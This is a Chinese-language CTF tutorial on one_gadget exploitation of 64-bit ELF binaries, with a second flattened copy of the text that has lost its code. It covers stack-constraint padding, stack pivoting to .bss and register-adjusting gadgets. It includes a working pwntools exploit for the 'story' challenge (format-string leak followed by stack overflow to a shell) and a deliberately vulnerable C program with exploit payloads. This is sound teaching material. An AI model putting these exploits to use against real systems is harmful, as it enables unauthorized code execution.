64 位 elf 的 one_gadget 通杀思路
字数 1419 2025-08-24 20:49:22

64位ELF的one_gadget通杀思路详解

一、one_gadget基础概念

one_gadget是libc中可以直接执行execve("/bin/sh",...)的代码片段。相比传统ROP链,使用one_gadget可以简化利用过程,只需知道libc基址就能一步getshell。

1.1 one_gadget工具使用

使用one_gadget工具查找可用的gadget:

$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

1.2 常见约束条件

one_gadget通常有以下几种约束条件:

  1. 寄存器值约束(如rax == NULL
  2. 栈空间约束(如[rsp+0x30] == NULL
  3. 环境变量约束(如environ指针有效)

二、突破栈限制条件的方法

2.1 大缓冲区填充法

当溢出字节数较大时,可以通过填充大量NULL值来满足栈约束条件。

示例代码

payload = '\x00'*0x88 + p64(canary) + p64(0) + p64(one) + p64(0)*100

适用场景

  • 溢出字节数足够大
  • 只能控制栈空间
  • 约束条件是栈上的值(如[rsp+0x30] == NULL

2.2 栈迁移结合bss段

通过栈迁移技术将栈转移到bss段,实现精准控制。

关键步骤

  1. 修改rbp为bss段地址
  2. 调用leave指令(mov rsp, rbp; pop rbp
  3. 在bss段布置one_gadget

示例代码

pay = (136-8)*'\x00' + p64(0x601080) + p64(0x400702)  # 0x400702是leave; ret地址
p.send(pay)
p.recvuntil('ok\n')
payload = p64(one)*2
p.sendline(payload)

注意事项

  • 程序不能开启PIE,否则bss地址未知
  • 需要能控制足够大的bss空间

三、处理寄存器约束条件

3.1 利用函数返回值

某些函数调用后会将rax置为0,可以利用这一点满足rax == NULL的约束。

示例场景

.text:00000000004006F8 call _write
.text:00000000004006FD mov eax, 0  ; 将rax置0
.text:0000000000400702 leave
.text:0000000000400703 retn

3.2 万能gadget调整

利用__libc_csu_init中的万能gadget来调整寄存器状态。

典型gadget

.text:0000000000400766 add rsp, 8
.text:000000000040076A pop rbx
.text:000000000040076B pop rbp
.text:000000000040076C pop r12
.text:000000000040076E pop r13
.text:0000000000400770 pop r14
.text:0000000000400772 pop r15
.text:0000000000400774 retn

利用方式

pay = 136*'\x00' + p64(0x400766) + p64(0)*7 + p64(one)

优点

  • 可以灵活控制多个寄存器
  • 适用于复杂约束条件

缺点

  • 需要较多溢出空间
  • 不是所有程序都包含这类gadget

四、实际案例分析

4.1 西湖论剑story题目

漏洞利用步骤

  1. 格式化字符串漏洞泄漏canary和libc地址
  2. 栈溢出覆盖返回地址为one_gadget
  3. 填充大量NULL满足栈约束

EXP示例

from pwn import *
p = process('story')
libc = ELF('./libc-2.23.so')

# 泄漏canary和libc地址
p.sendline("%15$p%25$p")
p.recvuntil("0x")
canary = int(p.recvuntil("0x")[:-2],16)
addr_offset = int(p.recvuntil('\n')[:-1],16)
libc_base = addr_offset - libc.symbols['__libc_start_main']-240
one = libc_base+0x4526a

# 构造payload
p.recvuntil('story')
p.sendline('1024')  # 设置足够大的story_len
p.recvuntil('story')
payload = '\x00'*0x88 + p64(canary) + p64(0) + p64(one) + p64(0)*100
p.sendline(payload)
p.interactive()

4.2 自定义测试程序

程序代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char x[500]={0};

int main(int argc, char** argv) {
    char buf[128];
    char a[100];
    scanf("%s",a);
    printf(a);
    printf("done\n");
    read(0, buf, 256);
    printf("ok\n");
    read(0, x, 20);
    write(1, "Hello, World\n", 13);
}

多种利用方式

  1. 直接利用write后rax清零:
one = libc_base+0x45216
pay = 136*'\x00' + p64(one)
  1. 栈迁移到bss段:
one = libc_base+0xf1147
pay = (136-8)*'\x00' + p64(0x601080) + p64(0x400702)  # leave; ret
p.send(pay)
p.recvuntil('ok\n')
payload = p64(one)*2
p.sendline(payload)
  1. 万能gadget调整:
one = libc_base+0xf02a4
pay = 136*'\x00' + p64(0x400766) + p64(0)*7 + p64(one)

五、高级技巧与注意事项

5.1 堆利用中的one_gadget

在堆漏洞利用中,当直接修改__malloc_hook为one_gadget不成功时,可以:

  1. 利用__realloc_hook调整栈状态
  2. 通过realloc中的push/pop指令微调栈指针

5.2 通用原则

  1. 优先检查程序是否满足one_gadget的简单约束
  2. 不满足时考虑栈迁移或寄存器调整
  3. 实在无法满足条件时回退到传统ROP
  4. 注意不同libc版本的one_gadget偏移可能不同

5.3 调试技巧

  1. 在one_gadget处下断点,检查约束条件是否满足
  2. 观察崩溃时的寄存器状态和栈布局
  3. 尝试不同的one_gadget偏移

六、总结

one_gadget利用的核心在于满足其约束条件,主要思路包括:

  1. 直接填充满足栈约束
  2. 栈迁移到可控区域
  3. 利用函数调用调整寄存器状态
  4. 使用万能gadget主动设置寄存器

在实际漏洞利用中,应根据具体场景选择最合适的方案,当one_gadget不可用时,传统ROP仍是可靠的备选方案。

64位ELF的one_ gadget通杀思路详解 一、one_ gadget基础概念 one_ gadget是libc中可以直接执行 execve("/bin/sh",...) 的代码片段。相比传统ROP链,使用one_ gadget可以简化利用过程,只需知道libc基址就能一步getshell。 1.1 one_ gadget工具使用 使用 one_gadget 工具查找可用的gadget: 1.2 常见约束条件 one_ gadget通常有以下几种约束条件: 寄存器值约束(如 rax == NULL ) 栈空间约束(如 [rsp+0x30] == NULL ) 环境变量约束(如 environ 指针有效) 二、突破栈限制条件的方法 2.1 大缓冲区填充法 当溢出字节数较大时,可以通过填充大量NULL值来满足栈约束条件。 示例代码 : 适用场景 : 溢出字节数足够大 只能控制栈空间 约束条件是栈上的值(如 [rsp+0x30] == NULL ) 2.2 栈迁移结合bss段 通过栈迁移技术将栈转移到bss段,实现精准控制。 关键步骤 : 修改rbp为bss段地址 调用leave指令( mov rsp, rbp; pop rbp ) 在bss段布置one_ gadget 示例代码 : 注意事项 : 程序不能开启PIE,否则bss地址未知 需要能控制足够大的bss空间 三、处理寄存器约束条件 3.1 利用函数返回值 某些函数调用后会将rax置为0,可以利用这一点满足 rax == NULL 的约束。 示例场景 : 3.2 万能gadget调整 利用 __libc_csu_init 中的万能gadget来调整寄存器状态。 典型gadget : 利用方式 : 优点 : 可以灵活控制多个寄存器 适用于复杂约束条件 缺点 : 需要较多溢出空间 不是所有程序都包含这类gadget 四、实际案例分析 4.1 西湖论剑story题目 漏洞利用步骤 : 格式化字符串漏洞泄漏canary和libc地址 栈溢出覆盖返回地址为one_ gadget 填充大量NULL满足栈约束 EXP示例 : 4.2 自定义测试程序 程序代码 : 多种利用方式 : 直接利用write后rax清零: 栈迁移到bss段: 万能gadget调整: 五、高级技巧与注意事项 5.1 堆利用中的one_ gadget 在堆漏洞利用中,当直接修改 __malloc_hook 为one_ gadget不成功时,可以: 利用 __realloc_hook 调整栈状态 通过realloc中的push/pop指令微调栈指针 5.2 通用原则 优先检查程序是否满足one_ gadget的简单约束 不满足时考虑栈迁移或寄存器调整 实在无法满足条件时回退到传统ROP 注意不同libc版本的one_ gadget偏移可能不同 5.3 调试技巧 在one_ gadget处下断点,检查约束条件是否满足 观察崩溃时的寄存器状态和栈布局 尝试不同的one_ gadget偏移 六、总结 one_ gadget利用的核心在于满足其约束条件,主要思路包括: 直接填充满足栈约束 栈迁移到可控区域 利用函数调用调整寄存器状态 使用万能gadget主动设置寄存器 在实际漏洞利用中,应根据具体场景选择最合适的方案,当one_ gadget不可用时,传统ROP仍是可靠的备选方案。